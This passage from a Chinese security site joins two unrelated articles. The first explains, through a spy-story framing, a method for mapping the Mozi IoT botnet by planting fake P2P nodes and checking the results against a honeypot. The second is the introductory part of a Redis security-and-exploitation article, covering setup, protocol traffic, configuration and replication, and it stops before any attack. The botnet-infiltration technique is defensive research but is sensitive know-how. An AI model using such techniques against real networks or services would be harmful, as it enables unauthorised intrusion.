“我叫j4m1e，是24楼的……”果然又尬住了，“你最近是在忙什么吗？这么晚才回来，真辛苦啊！呃……挺羡慕你的，你们公司还缺人吗，我也想找些事做……看我种话痨性格估计只能找那种chuan｜xiao之类的专门给人洗脑哈哈哈，噢抱歉我不该说这种话，实在是最近犯罪小说看多了暂时还没缓过来。但是这种很有趣啊，不是吗？”
他又看了你一眼，这次是带有些许考究意味的眼神。难道……上钩了？
“你……lWXy4CygN4M/w8sCsNHkXg==？”电梯上升到20楼时他终于开口了。
“123456-01。是的，我和你一样。”试探成功！你收敛笑容，朝他伸出右手，“那现在我们可以握手了吗？”
### 1.3 守株待兔
看着锅里开水“咕噜咕噜”煮着泡面，回想起刚才电梯里的场景，你心情大好，从冰箱里拿出两个鸡蛋打进锅里。接下来就等着c0rpse和他同伙通信，把你的位置信息扩散出去，让更多隐藏着的同伙知道你的存在从而主动联系你，这样，获取信息岂不易如反掌？虽然目前不知那传递的核心文件是什么，一切很快会水落石出。
### 1.4 初见成效
距离那次与c0rpse电梯接头成功已经过去半年，听说之后没过多久他就搬走了。在这半年中，每天都有很多同伙“送上门来”，核心文件也早就备份给局里交给同事研究了，你就专心混迹在组织中，不断套取同伙的信息悉数记录。虽然记录的同伙越多越有利于一网打尽，但这组织影响过的普通百姓数量日益剧增，必须要尽快找到办法控制住它。
根据这段时间的观察，这个犯罪组织好似新冠病毒，易感人群集中在某几类上，感染时可能没有任何征兆，也有很大概率可以恢复正常，但是如果任其肆虐，后果不堪设想。想到这里，你决定立刻回局里找局长……
## 二、诱捕探测技术（绝密间谍任务）
恭喜你完成本实验设计的“间谍养成游戏1.0”，对第二种探测技术的过程是否大致了解了呢？接下来是该探测技术的原理介绍。
我们提出的是一种类似间谍的诱捕探测技术来对Mozi P2P
型僵尸网络进行分析的方法，批量获取活跃Mozi节点信息、数据库保存所有探测数据等。该方法可极大地提升P2P型僵尸网络的扫描速率，同时结合loT蜜罐技术互相验证扫描结果的准确性。
图1为扫描器整体框架示意图，整个Mozi 扫描框架分为诱捕探测器、已知Mozi网络和未知Mozi网络。
图1. 扫描器整体框架图
### 2.1 路由扩散
已知Mozi网络与未知Mozi网络之间是遵循P2P网络的Kademlia协议进行路由扩散。
K-桶（路由表）刷新原理：
1. 主动收集节点：任何节点都可以主动发起“查询节点”的请求（对应于协议类型 FIND_NODE），从而刷新 K 桶中的节点信息。
2. 被动收集节点：如果收到其它节点发来的请求（协议类型 FIND_NODE 或 FIND_VALUE），会把对方的 ID 加入自己的某个 K 桶中。
探测失效节点：
Kademlia协议还支持一种探测机制（协议类型 PING），可以判断某个 ID
的节点是否在线。因此就可以定期探测路由表中的每一个节点，然后把下线的节点从路由表中删除。
find_node（查找节点）被用来查找给定ID的node的联系信息。find_node请求包含2个参数，第一个参数是ID，包含了请求节点的节点ID。第二个参数是目标target，包含了请求者正在查找的目标节点的节点ID。当一个节点接收到了find_node的请求，他应该给出对应的回复，回复中包含2个关键字：ID和nodes，nodes是一个字符串类型，包含了被请求节点的路由表中最接近目标节点的K(8)个最接近的nodes的联系信息。find_node过程举例如图2。
图2. find_node过程举例
### 2.2 探测原理
探测器的探测原理如下：
1. 随机生成一些ip伪装成Mozi节点隐匿于正常P2P网络中；
2. 这些伪Mozi节点从信息记录表中获取批量真实的Mozi节点信息(由若干IP和Port组成)，然后向这些真实Mozi节点发送基于Mozi协议的find_node数据包(添加Mozi认证四字节数据)。即图1中探测器向已知Mozi网络发送Mozi请求。伪节点向真实节点发送find_node数据包的过程实际上是向网络中任一节点N发起一个find_node请求，请求的ID是自己，N收到该请求之后，会先把伪节点的ID加入自己的某个 K 桶中。然后，根据 FIND_NODE 协议的约定，N会找到K个最接近伪节点的节点返回给该伪节点，伪节点即可填充自己的路由表，然后通过路由扩散原理向整个Mozi僵尸网络扩散自己的节点信息；
3. 由于P2P网络特性，真实节点可能会将伪节点的节点信息发送给其他Mozi节点，使得其他Mozi节点可能存在一定几率向伪节点发送相应的DHT数据包，伪节点再验证这些数据包是否能通过Mozi节点验证算法，如通过，则会记录下Mozi节点ID、IP及其端口信息，并将相应的IP和端口信息添加至Mozi节点信息记录表中。然后，通过已知Mozi节点的K-桶信息继续发现新的Mozi节点。根据DHT的查找节点原理，每个Mozi节点的K-桶中都包含大量其他邻居Mozi节点信息，因此读取K-桶信息会大大加快未知Mozi节点探测速度，呈倍增趋势。
### 2.3 探测器具体实现步骤
1. 构建多个扫描节点（可在本地或者vps上）；
2. 在VPS上运行一个扫描任务分发程序（这里我们直接使用redis构建了一个扫描任务分发队列），扫描节点直接从redis中拉取扫描任务；
3. 扫描任务实际上就是由若干IP:Port组成的数据集，该数据集实际上是Mozi节点的IP地址和P2P服务开放的端口；
获得扫描结果后，将结果暂存到中间服务器中，最后由相应的程序写入到Mongo DB数据库中。
注意: 网络带宽会影响到扫描结果，因此尽可能选择带宽大的地方。
## 三、loT蜜罐测试
我们借助loT蜜罐测试诱捕探测器结果的覆盖率。loT蜜罐是通过模拟Mozi网络中常用到的漏洞来吸引Mozi的攻击，从而获取相应的Mozi传播的URL地址。同时，该蜜罐可给诱捕探测提供初始Mozi节点。
### 3.1 验证原理
由于loT蜜罐是纯粹的被动探测，与我们的诱捕探测技术是完全相互独立的两种探测方式，因此可以将蜜罐获取的Mozi节点看作整个Mozi网络的随机取样，即缩小样本规模。然后在采用诱捕探测技术获取的节点库中寻找重复节点，将重复节点的出现概率记作“重合度”：
重合度=(诱捕探测和蜜罐收集结果数量的交集)/蜜罐收集数量
重复度可以作为衡量我们探测技术准确度的指标。
### 3.2 结果分析
我们选取了时间2021年3月28日至4月9日共13日扫描节点数据（每日Mozi网络活跃的IP数量）进行分析，数据如表1所示：
表1. 9日扫描节点数据
图3. 扫描结果9日走势
图4. 重合度9日走势
根据上表绘制图3和图4走势图。数据显示，我们的诱捕探测结果与loT蜜罐结果的重复节点数量极多，重合度极高。
但是，诱捕探测得到的Mozi网络IP数量远大于蜜罐所得IP数量，是因为蜜罐所得数据是开放了HTTP服务下载的Mozi节点，而诱捕探测是针对能够进行P2P网络通信的Mozi节点，事实上开放HTTP
服务的Mozi节点很容易被安全专家发现并阻断通信，因此诱捕探测所得到的Mozi节点数量远大于蜜罐收集的数量。
## 四、两种探测技术对比
我们称上一篇文章Mozi（二）所介绍的渐进式节点主动追踪装置为“探测技术1”，称本文介绍的方法为“探测技术2”。两种探测技术原理不同，因此探测结果可看成是相互独立的。
我们取探测技术1所得三日活跃Mozi节点所在IP作为整个Mozi网络的随机样本，取探测技术2所得历史存量节点所在IP（即曾被感染过的节点总量）为参照样本，将两个样本内容做比对，计算重合度，具体数据见表2。
表2. 两种探测技术数据对比
两种探测技术的优缺点对比于表3，我们通过技术2发现新前缀，再利用技术1快速挖掘感染节点，两种探测技术配合，为发现Mozi节点提供有力的技术保障。
表3. 两种探测技术优缺点对比
同时，我们对比两种技术探测到的节点数量，发现数据重合度极高，这表明两种探测方法发现的节点绝大部分是一致的。由于两种扫描器的探测速度依赖于已知节点数量，是呈倍数（1:N）增长的，但Mozi感染新节点的速度理论上小于倍速，两条非平行的增长曲线在某个时刻一定会交叉，而这个交叉点所在的时刻就是探测触到Mozi网络边界的时刻。
PS：关注了微信公众号“知微攻防实验室”的小伙伴们，仔细观察公众号版文章会发现隐藏彩蛋哦！ | 社区文章 |
# 从0到1认识Redis到多维角度场景下的安全分析与利用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
`Redis`数据库安全性问题对于安全测试人员来说再熟悉不过了，这里将针对该数据库做一个基本的介绍和多维角度场景下的安全分析与利用探索。
## 基础
### 简介
> REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。
>
> Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-> Value数据库，并提供多种语言的API。从2010年3月15日起，Redis的开发工作由VMware主持。从2013年5月开始，Redis的开发由Pivotal赞助。
Redis 与其他 key – value 缓存产品有以下三个特点：
* Redis支持数据的持久化，可以将内存中的数据保存在磁盘中，重启的时候可以再次加载进行使用。
* Redis不仅仅支持简单的key-value类型的数据，同时还提供list，set，zset，hash等数据结构的存储。
* Redis支持数据的备份，即master-slave模式的数据备份。
### 资源
* Redis官网
https://redis.io/
* Redis下载
# 最新版本下载
https://redis.io/download
# 各个版本下载
http://download.redis.io/releases/
* Redis命令指南
https://redis.io/commands
* Redis在线终端
http://try.redis.io/
* Redis官方文档
https://redis.io/documentation
* Redis官方docker
https://hub.docker.com/_/redis
### 部署
**Windows下安装**
https://github.com/tporadowski/redis/releases
Redis 支持 32 位和 64 位。这个需要根据你系统平台的实际情况选择。
下载相应版本解压即可，文件结构信息如下：
λ Qftm >>>: ls -al
total 58408
drwxr-xr-x 1 Qftm 197121 0 7月 19 10:01 ./
drwxr-xr-x 1 Qftm 197121 0 7月 19 10:01 ../
-rw-r--r-- 1 Qftm 197121 122700 5月 2 13:43 00-RELEASENOTES
-rwxr-xr-x 1 Qftm 197121 1536 5月 2 19:59 EventLog.dll*
-rw-r--r-- 1 Qftm 197121 991 2月 9 13:40 README.txt
-rw-r--r-- 1 Qftm 197121 48201 9月 22 2019 redis.windows.conf
-rw-r--r-- 1 Qftm 197121 48212 9月 22 2019 redis.windows-service.conf
-rwxr-xr-x 1 Qftm 197121 468480 5月 2 19:59 redis-benchmark.exe*
-rw-r--r-- 1 Qftm 197121 7147520 5月 2 19:59 redis-benchmark.pdb
-rwxr-xr-x 1 Qftm 197121 1858560 5月 2 19:59 redis-check-aof.exe*
-rw-r--r-- 1 Qftm 197121 12726272 5月 2 19:59 redis-check-aof.pdb
-rwxr-xr-x 1 Qftm 197121 1858560 5月 2 19:59 redis-check-rdb.exe*
-rw-r--r-- 1 Qftm 197121 12726272 5月 2 19:59 redis-check-rdb.pdb
-rwxr-xr-x 1 Qftm 197121 642560 5月 2 19:59 redis-cli.exe*
-rw-r--r-- 1 Qftm 197121 7532544 5月 2 19:59 redis-cli.pdb
-rwxr-xr-x 1 Qftm 197121 1858560 5月 2 19:59 redis-server.exe*
-rw-r--r-- 1 Qftm 197121 12726272 5月 2 19:59 redis-server.pdb
-rw-r--r-- 1 Qftm 197121 3317 5月 2 19:53 RELEASENOTES.txt
打开一个 cmd 窗口切换到解压的目录文件中，在终端启动redis服务
$ redis-server.exe redis.windows.conf
PS：这里也可添加redis环境变量，减少不必要的操作
这时候另启一个 cmd 窗口，原来的不要关闭，不然就无法访问服务端了。同样切换到 redis 目录下，在终端中运行redis客户端连接服务器
$ redis-cli.exe -h 127.0.0.1 -p 6379
**Linux下安装**
# 最新版本下载
https://redis.io/download
# 各个版本下载
http://download.redis.io/releases/
使用以下命令下载，提取和编译Redis
$ wget http://download.redis.io/releases/redis-6.0.5.tar.gz
$ tar xzf redis-6.0.5.tar.gz
$ cd redis-6.0.5
$ make
编译成功之后src目录下就会生成相应二进制文件，使用以下命令启动redis服务和客户端的连接
# 启动Redis服务
$ src/redis-server
# 客户端连接
$ src/redis-cli -h 127.0.0.1 -p 6379
**Ubuntu下安装**
在 Ubuntu 系统安装 Redis 可以使用以下命令
$ sudo apt-get update
$ sudo apt-get install redis-server
启动Redis和客户端的连接
# 启动Redis服务
# 第一种方式：通过redis-server前台终端启动redis服务
→ Qftm :~/Desktop# redis-server
# 第二种方式：通过系统服务管理启动redis服务
→ Qftm :~/Desktop# service redis-server start
启动服务
* 第一种
→ Qftm :~/Desktop# redis-server
1734:C 19 Jul 2020 04:45:56.556 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
1734:C 19 Jul 2020 04:45:56.557 # Redis version=6.0.5, bits=64, commit=00000000, modified=0, pid=1734, just started
1734:C 19 Jul 2020 04:45:56.557 # Warning: no config file specified, using the default config. In order to specify a config file use redis-server /path/to/redis.conf
1734:M 19 Jul 2020 04:45:56.558 * Increased maximum number of open files to 10032 (it was originally set to 1024).
_._
_.-``__ ''-._
_.-`` `. `_. ''-._ Redis 6.0.5 (00000000/0) 64 bit
.-`` .-```. ```\/ _.,_ ''-._
( ' , .-` | `, ) Running in standalone mode
|`-._`-...-` __...-.``-._|'` _.-'| Port: 6379
| `-._ `._ / _.-' | PID: 1734
`-._ `-._ `-./ _.-' _.-'
|`-._`-._ `-.__.-' _.-'_.-'|
| `-._`-._ _.-'_.-' | http://redis.io
`-._ `-._`-.__.-'_.-' _.-'
|`-._`-._ `-.__.-' _.-'_.-'|
| `-._`-._ _.-'_.-' |
`-._ `-._`-.__.-'_.-' _.-'
`-._ `-.__.-' _.-'
`-._ _.-'
`-.__.-'
1734:M 19 Jul 2020 04:45:56.559 # Server initialized
1734:M 19 Jul 2020 04:45:56.559 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
1734:M 19 Jul 2020 04:45:56.560 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled.
1734:M 19 Jul 2020 04:45:56.560 * Ready to accept connections
* 第二种
→ Qftm :~/Desktop# service redis-server start
→ Qftm :~/Desktop#
客户端连接
# 客户端连接
→ Qftm :~/Desktop# redis-cli -h 127.0.0.1 -p 6379
127.0.0.1:6379>
### 操作
官方手册指令：<https://redis.io/commands>
> PS：针对下面的一系列操作，将同时开启wireshark抓取相关主机流量，分析客户端与服务端建立连接以及通信的详细过程。
**服务端启动**
Redis数据库服务启动主要有两种方式：一种是通过注册系统服务方式来启动`$ service redis-server
start`，另一种是通过redis自身工具来启动`$ redis-server`。对于这两种方式第一种通过系统软件包管理工具来安装redis的时候会自动注册到系统服务里面，第二种通过官方源码进行安装的时候通过源码里面的`redis-server`工具进行启动，不管哪种方式都是可以通过redis-server方式进行启动的。
那么这两种方式有什么不同的，为什么要重点说一下呢，第一种：如果通过系统服务方式启动redis的话，默认启动权限为redis用户；第二种：如果以`redis-server`方式启动redis的话，默认启动权限为当前系统终端用户权限。下面分别查看两种不同情况：
* **Linux环境**
* **Windows环境**
* **Docker环境**
Redis官方docker镜像地址：[Dockerfile](https://hub.docker.com/_/redis?tab=description)、[Tags](https://hub.docker.com/_/redis?tab=tags)
当今容器化部署redis是一种再常见不过的方式了，但是使用容器启动单一的redis服务是以什么样的情况和什么样的权限启动呢，下面通过分析redis官方dockerfile关键部分解读这些疑问：
> Redis-5.0-dockerfile
FROM debian:buster-slim
# add our user and group first to make sure their IDs get assigned consistently, regardless of whatever dependencies get added
RUN groupadd -r -g 999 redis && useradd -r -g redis -u 999 redis
# grab gosu for easy step-down from root
# https://github.com/tianon/gosu/releases
ENV GOSU_VERSION 1.12
RUN set -eux; \
savedAptMark="$(apt-mark showmanual)"; \
apt-get update; \
apt-get install -y --no-install-recommends ca-certificates dirmngr gnupg wget; \
rm -rf /var/lib/apt/lists/*; \
dpkgArch="$(dpkg --print-architecture | awk -F- '{ print $NF }')"; \
wget -O /usr/local/bin/gosu "https://github.com/tianon/gosu/releases/download/$GOSU_VERSION/gosu-$dpkgArch"; \
wget -O /usr/local/bin/gosu.asc "https://github.com/tianon/gosu/releases/download/$GOSU_VERSION/gosu-$dpkgArch.asc"; \
export GNUPGHOME="$(mktemp -d)"; \
gpg --batch --keyserver hkps://keys.openpgp.org --recv-keys B42F6819007F00F88E364FD4036A9C25BF357DD4; \
gpg --batch --verify /usr/local/bin/gosu.asc /usr/local/bin/gosu; \
gpgconf --kill all; \
rm -rf "$GNUPGHOME" /usr/local/bin/gosu.asc; \
apt-mark auto '.*' > /dev/null; \
[ -z "$savedAptMark" ] || apt-mark manual $savedAptMark > /dev/null; \
apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false; \
chmod +x /usr/local/bin/gosu; \
gosu --version; \
gosu nobody true
ENV REDIS_VERSION 5.0.9
ENV REDIS_DOWNLOAD_URL http://download.redis.io/releases/redis-5.0.9.tar.gz
ENV REDIS_DOWNLOAD_SHA 53d0ae164cd33536c3d4b720ae9a128ea6166ebf04ff1add3b85f1242090cb85
RUN set -eux; \
\
savedAptMark="$(apt-mark showmanual)"; \
apt-get update; \
apt-get install -y --no-install-recommends \
ca-certificates \
wget \
\
gcc \
libc6-dev \
make \
; \
rm -rf /var/lib/apt/lists/*; \
\
wget -O redis.tar.gz "$REDIS_DOWNLOAD_URL"; \
echo "$REDIS_DOWNLOAD_SHA *redis.tar.gz" | sha256sum -c -; \
mkdir -p /usr/src/redis; \
tar -xzf redis.tar.gz -C /usr/src/redis --strip-components=1; \
rm redis.tar.gz; \
\
# disable Redis protected mode [1] as it is unnecessary in context of Docker
# (ports are not automatically exposed when running inside Docker, but rather explicitly by specifying -p / -P)
# [1]: https://github.com/antirez/redis/commit/edd4d555df57dc84265fdfb4ef59a4678832f6da
grep -q '^#define CONFIG_DEFAULT_PROTECTED_MODE 1$' /usr/src/redis/src/server.h; \
sed -ri 's!^(#define CONFIG_DEFAULT_PROTECTED_MODE) 1$!\1 0!' /usr/src/redis/src/server.h; \
grep -q '^#define CONFIG_DEFAULT_PROTECTED_MODE 0$' /usr/src/redis/src/server.h; \
# for future reference, we modify this directly in the source instead of just supplying a default configuration flag because apparently "if you specify any argument to redis-server, [it assumes] you are going to specify everything"
# see also https://github.com/docker-library/redis/issues/4#issuecomment-50780840
# (more exactly, this makes sure the default behavior of "save on SIGTERM" stays functional by default)
\
make -C /usr/src/redis -j "$(nproc)" all; \
make -C /usr/src/redis install; \
\
# TODO https://github.com/antirez/redis/pull/3494 (deduplicate "redis-server" copies)
serverMd5="$(md5sum /usr/local/bin/redis-server | cut -d' ' -f1)"; export serverMd5; \
find /usr/local/bin/redis* -maxdepth 0 \
-type f -not -name redis-server \
-exec sh -eux -c ' \
md5="$(md5sum "$1" | cut -d" " -f1)"; \
test "$md5" = "$serverMd5"; \
' -- '{}' ';' \
-exec ln -svfT 'redis-server' '{}' ';' \
; \
\
rm -r /usr/src/redis; \
\
apt-mark auto '.*' > /dev/null; \
[ -z "$savedAptMark" ] || apt-mark manual $savedAptMark > /dev/null; \
find /usr/local -type f -executable -exec ldd '{}' ';' \
| awk '/=>/ { print $(NF-1) }' \
| sort -u \
| xargs -r dpkg-query --search \
| cut -d: -f1 \
| sort -u \
| xargs -r apt-mark manual \
; \
apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false; \
\
redis-cli --version; \
redis-server --version
RUN mkdir /data && chown redis:redis /data
VOLUME /data
WORKDIR /data
COPY docker-entrypoint.sh /usr/local/bin/
ENTRYPOINT ["docker-entrypoint.sh"]
EXPOSE 6379
CMD ["redis-server"]
添加group、gid、user、uid
RUN groupadd -r -g 999 redis && useradd -r -g redis -u 999 redis
下载源码、安装
RUN set -eux; \
wget -O redis.tar.gz "$REDIS_DOWNLOAD_URL"; \
echo "$REDIS_DOWNLOAD_SHA *redis.tar.gz" | sha256sum -c -; \
mkdir -p /usr/src/redis; \
tar -xzf redis.tar.gz -C /usr/src/redis --strip-components=1; \
rm redis.tar.gz; \
\
make -C /usr/src/redis -j "$(nproc)" all; \
make -C /usr/src/redis install; \
\
关闭安全模式
RUN set -eux; \
grep -q '^#define CONFIG_DEFAULT_PROTECTED_MODE 1$' /usr/src/redis/src/server.h; \
sed -ri 's!^(#define CONFIG_DEFAULT_PROTECTED_MODE) 1$!\1 0!' /usr/src/redis/src/server.h; \
grep -q '^#define CONFIG_DEFAULT_PROTECTED_MODE 0$' /usr/src/redis/src/server.h; \
设置redis工作空间和权限
RUN mkdir /data && chown redis:redis /data
VOLUME /data
WORKDIR /data
启动redis容器服务
COPY docker-entrypoint.sh /usr/local/bin/
ENTRYPOINT ["docker-entrypoint.sh"]
EXPOSE 6379
CMD ["redis-server"]
通过上面几个关键部分的解读，可以知道容器化的redis是以redis用户身份启动的，因为容器给redis添加了redis用户组和用户(gid、uid)，同时将redis工作空间设置为`/data`目录并附属redis用户组用户权限，最终的容器启动以`ENTRYPOINT
<CMD>`的方式启动也就是当前redis用户权限身份，具体细节如下：
* **安全性分析**
关于Redis服务端不同情况下启动说了那么多是为了什么，主要因为当Redis是以redis用户身份权限启动的话，这个时候redis服务权限会被限制在redis用户中，就无法向目标服务器特定目录写入恶意程序【即使特定目录设置redis用户及用户组或者目录权限777一样无法写入相应的文件，具体分析如下：
上面提到使用service系统服务管理方式启动redis默认以redis方式启动【注意：这里Linux系统是通过软件包管理器方式进行安装的redis数据库服务】，这里看一下有关服务启动具体细节
通过查看`/lib/systemd/system/redis-server.service`系统服务管理程序文件读取有关redis启动配置信息
从中可知redis服务启动使用redis用户及用户组，同时redis可读写目录被限制在上述特定目录之中，如果用户要是想使用其他目录作为数据备份目录则需要在其中添加`ReadWriteDirectories=-/xx/xxx`相关信息【如果不添加这些信息的话，所造成的问题：也就是上面所提到的即使有关目录设置redis所属用户及权限777也是无法向其中写入文件的】
**客户端连接**
* 客户端连接服务端
→ Qftm :~/Desktop# redis-cli -h 127.0.0.1 -p 6379
127.0.0.1:6379>
* 流量分析
客户端通过TCP三次握手与服务端成功建立连接：客户端端口：48550、服务端端口：6379
**服务端信息**
* 通过info指令查看连接的服务端信息
127.0.0.1:6379> info
# Server
redis_version:6.0.5
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:1c86537e5daf696
redis_mode:standalone
os:Linux 5.4.0-kali3-amd64 x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:9.3.0
process_id:1807
run_id:96f07531683a498508026db78c043bf5699377c0
tcp_port:6379
uptime_in_seconds:5952
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:1319629
executable:/usr/bin/redis-server
config_file:/etc/redis/redis.conf
# Clients
connected_clients:1
client_recent_max_input_buffer:2
client_recent_max_output_buffer:0
blocked_clients:0
tracking_clients:0
clients_in_timeout_table:0
# Memory
used_memory:871664
used_memory_human:851.23K
used_memory_rss:12374016
used_memory_rss_human:11.80M
used_memory_peak:871664
used_memory_peak_human:851.23K
used_memory_peak_perc:100.18%
used_memory_overhead:825154
used_memory_startup:808168
used_memory_dataset:46510
used_memory_dataset_perc:73.25%
allocator_allocated:1191056
allocator_active:1515520
allocator_resident:3850240
total_system_memory:2081796096
total_system_memory_human:1.94G
used_memory_lua:41984
used_memory_lua_human:41.00K
used_memory_scripts:0
used_memory_scripts_human:0B
number_of_cached_scripts:0
maxmemory:0
maxmemory_human:0B
maxmemory_policy:noeviction
allocator_frag_ratio:1.27
allocator_frag_bytes:324464
allocator_rss_ratio:2.54
allocator_rss_bytes:2334720
rss_overhead_ratio:3.21
rss_overhead_bytes:8523776
mem_fragmentation_ratio:14.92
mem_fragmentation_bytes:11544872
mem_not_counted_for_evict:0
mem_replication_backlog:0
mem_clients_slaves:0
mem_clients_normal:16986
mem_aof_buffer:0
mem_allocator:jemalloc-5.2.1
active_defrag_running:0
lazyfree_pending_objects:0
# Persistence
loading:0
rdb_changes_since_last_save:0
rdb_bgsave_in_progress:0
rdb_last_save_time:1595149197
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:-1
rdb_current_bgsave_time_sec:-1
rdb_last_cow_size:0
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok
aof_last_cow_size:0
module_fork_in_progress:0
module_fork_last_cow_size:0
# Stats
total_connections_received:2
total_commands_processed:2
instantaneous_ops_per_sec:0
total_net_input_bytes:48
total_net_output_bytes:37070
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
expired_stale_perc:0.00
expired_time_cap_reached_count:0
expire_cycle_cpu_milliseconds:96
evicted_keys:0
keyspace_hits:0
keyspace_misses:0
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:0
migrate_cached_sockets:0
slave_expires_tracked_keys:0
active_defrag_hits:0
active_defrag_misses:0
active_defrag_key_hits:0
active_defrag_key_misses:0
tracking_total_keys:0
tracking_total_items:0
tracking_total_prefixes:0
unexpected_error_replies:0
# Replication
role:master
connected_slaves:0
master_replid:70ff7b2306f45655c4f92e1e4d5fbf1f9380289c
master_replid2:0000000000000000000000000000000000000000
master_repl_offset:0
second_repl_offset:-1
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0
# CPU
used_cpu_sys:6.902410
used_cpu_user:5.210013
used_cpu_sys_children:0.000000
used_cpu_user_children:0.000000
# Modules
# Cluster
cluster_enabled:0
# Keyspace
127.0.0.1:6379>
**键值对操作**
* 设置键值对：`key：qftm`、`value：MaybeAHacker.`
127.0.0.1:6379> set qftm MaybeAHacker.
OK
127.0.0.1:6379>
* 流量分析
通过追踪TCP数据流`Follow->TCP Stream`查看客户端向服务端发送的数据以及服务端的响应数据信息
客户端的发送数据【这里显示的结果：`CRLF`回车换行已作用】
*3
$3
set
$4
qftm
$13
MaybeAHacker.
原始的数据流如下：
*3\r\n$3\r\nset\r\n$4\r\nqftm\r\n$13\r\nMaybeAHacker.\r\n
服务端响应数据【这里显示的结果：`CRLF`回车换行已作用】
+OK
原始的数据流如下：
+OK\r\n
* 取出键值对
127.0.0.1:6379> get qftm
"MaybeAHacker."
127.0.0.1:6379>
* 流量分析
客户端的发送数据
*2
$3
get
$4
qftm
原始的数据流如下：
*2\r\n$3\r\nget\r\n$4\r\nqftm\r\n
服务端响应数据
$13
MaybeAHacker.
原始的数据流如下：
$13\r\nMaybeAHacker.\r\n
**配置操作**
* **获取配置**
获取redis配置文件`redis.conf`中的配置项及值
127.0.0.1:6379> CONFIG GET *
1) "rdbchecksum"
2) "yes"
3) "daemonize"
4) "yes"
5) "io-threads-do-reads"
6) "no"
7) "lua-replicate-commands"
8) "yes"
9) "always-show-logo"
10) "yes"
、、、、、、、、
、、、、、、、、
281) "unixsocketperm"
282) "0"
283) "slaveof"
284) ""
285) "notify-keyspace-events"
286) ""
287) "bind"
288) "127.0.0.1 ::1"
289) "requirepass"
290) ""
127.0.0.1:6379>
* **编辑配置**
可以通过修改 `redis.conf` 文件或使用`CONFIG set` 命令来修改配置。
127.0.0.1:6379> CONFIG set key value
**数据类型**
Redis支持五种数据类型
string（字符串）
hash（哈希）
list（列表）
set（集合）
zset(sorted set：有序集合)
具体每种数据类型的详细描述见：[Redis数据类型](https://www.runoob.com/redis/redis-data-types.html)
**服务认证**
默认安装的redis数据库密码皆为空：`# requirepass foobared`，即客户端进行服务器连接时无需认证。
**redis设置密码的两种方法**
* 在redis-cli客户端连接成功时设置
127.0.0.1:6379> config set requirepass 123456
这种方式设置完成之后无需重启，下次连接时即生效。
* 在终端执行命令修改redis.conf配置文件
sed -i 's/# requirepass foobared/requirepass 123456/g' /etc/redis/redis.conf
这种方法设置完之后需要重启redis服务
→ Qftm :~/Desktop# service redis-server restart
重启之后有两种方式可以进行认证：一种是在终端进行连接的时候后跟密码通过认证
→ Qftm :~/Desktop# redis-cli -h 127.0.0.1 -p 6379 -a 123456
另一种则是先连接然后再通过执行内部命令进行认证
→ Qftm :~/Desktop# redis-cli -h 127.0.0.1 -p 6379
127.0.0.1:6379> AUTH 123456
OK
127.0.0.1:6379> CONFIG GET requirepass
1) "requirepass"
2) "123456"
127.0.0.1:6379>
**数据备份**
`Redis SAVE`命令用于创建当前数据库的备份，即：Redis支持数据的持久化，可以将内存中的数据保存在磁盘中，重启的时候可以再次加载进行使用。
查看默认的数据库备份路径与文件名
127.0.0.1:6379> config get dir
1) "dir"
2) "/var/lib/redis"
127.0.0.1:6379> config get dbfilename
1) "dbfilename"
2) "dump.rdb"
127.0.0.1:6379>
对内存数据进行备份、查看、加载
127.0.0.1:6379> get qftm
"MaybeAHacker."
127.0.0.1:6379> save
OK
127.0.0.1:6379>
→ Qftm :~/Desktop# vim /var/lib/redis/dump.rdb
→ Qftm :~/Desktop#
→ Qftm :~/Desktop# redis-cli -h 127.0.0.1 -p 6379 -a 123456
127.0.0.1:6379> get qftm
"MaybeAHacker."
127.0.0.1:6379>
清空数据库：即清空所有设置的key-value键值对
→ Qftm :~/Desktop# redis-cli -h 127.0.0.1 -p 6379 -a 123456
127.0.0.1:6379> get qftm
"MaybeAHacker."
127.0.0.1:6379> FLUSHALL
OK
127.0.0.1:6379> get qftm
(nil)
127.0.0.1:6379>
→ Qftm :~/Desktop# redis-cli -h 127.0.0.1 -p 6379 -a 123456
127.0.0.1:6379> get qftm
(nil)
127.0.0.1:6379>
**主从复制**
redis数据库不仅支持`save`模式的备份，同样支持master-slave模式的数据备份，即：主从复制。
主从复制，是指将一台Redis服务器的数据，复制到其他的Redis服务器。前者称为主节点(master)，后者称为从节点(slave)；数据的流向是单向的，只能由主节点到从节点。
默认情况下，每台Redis服务器都是主节点；且一个主节点可以有多个从节点(或没有从节点)，但一个从节点只能有一个主节点。
**主从复制作用**
为数据提供多个副本，实现高可用
实现读写分离（主节点负责写数据，从节点负责读数据，主节点定期把数据同步到从节点保证数据的一致性）
**主从复制方式**
* 命令行slaveof
优点：无需重启。缺点：不便于管理
// 命令行使用
slaveof MasterIp MasterPort // 使用命令后自身数据会被清空，但取消slave只是停止复制，并不清空
* 修改配置文件
优点：统一配置。缺点：需要重启
// 配置文件中配置
slaveof ip port
slave-read-only yes //只允许从节点进行读操作
**主从复制-全量复制**
